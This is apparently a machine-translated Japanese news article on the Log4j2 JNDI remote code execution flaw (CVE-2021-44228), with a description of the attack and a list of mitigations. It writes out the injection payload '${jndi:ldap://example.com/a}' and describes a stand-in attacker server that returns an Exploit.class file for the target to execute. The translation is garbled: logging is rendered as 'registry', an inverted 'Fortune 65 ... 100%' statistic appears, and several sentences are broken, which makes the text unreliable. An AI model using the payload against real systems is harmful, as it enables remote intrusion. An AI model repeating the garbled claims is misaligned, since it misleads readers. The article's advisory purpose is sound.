最近seは、Apache Log4j2で重大な脆弱性が特定されたというニュースをリリースしました。、これは、Javaアプリケーションでレジストリを編成するための一般的なフレームワークとして特徴付けられ、特別にフォーマットされた値が「{jndi:URL}」のフォーマットでレジストリに書き込まれるときに任意のコードを実行できるようにします。
脆弱性 攻撃はJavaアプリケーションで実行される可能性があるため、注目に値します。それらは、たとえばエラーメッセージに問題のある値を表示することによって、外部ソースから取得した値を記録します。
観察された Apache Struts、Apache Solr、Apache Druid、ApacheFlinkなどのフレームワークを使用するほとんどすべてのプロジェクトが影響を受けます。 Steam、Apple iCloud、Minecraftクライアントおよびサーバーを含みます。
この脆弱性は、エンタープライズアプリケーションに対する大規模な攻撃の波につながると予想され、フレームワークであるApache Strutsの重大な脆弱性の履歴を繰り返します。これは、Fortune 65 Webアプリケーションの100%で使用される概算です。同社のWebアプリケーションのリスト脆弱なシステムについてネットワークをスキャンするためのすでに記録された試みが含まれています。
この脆弱性により、認証されていないコードをリモートで実行できます。 Log4j 2は、ApacheFoundationによって開発されたオープンソースのJavaログライブラリです。 Log4j 2は多くのアプリケーションで広く使用されており、依存関係として多くのサービスに存在します。 これらには、ビジネスアプリケーションだけでなく、多数のクラウドサービスが含まれます。
Randori攻撃チームは機能的なエクスプロイトを開発し、攻撃的なセキュリティプラットフォームの一部として、顧客環境でこの脆弱性をうまく利用することができました。
この脆弱性には、アプリケーション固有のさまざまな方法でアクセスできます。 実際、リモート接続でLog4jライブラリを使用するアプリケーションがログファイルに書き込む任意のデータを提供できるシナリオは、悪用される可能性があります。 この脆弱性は実際に悪用される可能性が高く、何千もの組織に影響を与える可能性があります。 この脆弱性は、影響を受けるシステムに対する重大な実際のリスクを表しています。
問題は、機能的なエクスプロイトがすでに公開されているという事実によって悪化します。ただし、安定したブランチの修正はまだ生成されていません。 CVE識別子はまだ割り当てられていません。 このソリューションは、log4j-2.15.0-rc1テストブランチにのみ含まれています。 脆弱性をブロックする回避策として、パラメーターLog4j2.formatMsgNoLookupsをtrueに設定することをお勧めします。
問題 これは、Log4j2がログ行の特殊なマスク«{}»の処理をサポートしているためです。、 その中で JNDIクエリを実行できます (Javaネーミングおよびディレクトリインターフェイス)。
CVE-2021-44228の分析において、Randoriは次のことを決定しました。
広く使用されているビジネスソフトウェアのデフォルトインストールは脆弱です。
この脆弱性は、認証なしで確実に悪用される可能性があります。
この脆弱性は、Log4j2の複数のバージョンに影響します。
この脆弱性により、ユーザーがライブラリを使用してアプリケーションを実行すると、リモートでコードが実行される可能性があります。
攻撃は、「$ {jndi:ldap://example.com/a}」に置き換えられた文字列を渡すことになり、Log4j2がJavaクラスへのパスのLDAP要求をattacker.comサーバーに送信する処理を行います。 。 攻撃者のサーバーから返されたパス(たとえば、http://example.com/Exploit.class)は、現在のプロセスのコンテキストでロードおよび実行されるため、攻撃者は、権限を持つシステムで任意のコードを実行できます。現在のアプリケーションの。
最後に、 異常が見つかった場合、これはアクティブなインシデントであり、侵害されていると想定し、それに応じて対応することをお勧めします。 パッチを適用したバージョンのLog4j2または影響を受けるアプリケーションにアップグレードすると、この脆弱性が排除されます。 Randoriは、影響を受ける可能性があると思われる組織には、パッチを適用したバージョンに緊急にアップグレードすることをお勧めします。
Apache Log4jチームからの最新のアップデートでは、 組織が次のことを行うことをお勧めします
- Log4j2.15.0に更新します
- 2.15.0にアップグレードできない場合:バージョン> = 2.10では、log4j2.formatMsgNoLookupシステムプロパティまたはLOG4J_FORMAT_MSG_NO_LOOKUPS環境変数をtrueに設定することで、この脆弱性を軽減できます。
- バージョン2,0-beta9から2.10.0の場合、緩和策はクラスパスからJndiLookupクラスを削除することです:zip -q -dlog4j-core-*。jarorg / apache / logging / log4j / core / lookup / JndiLookup.class。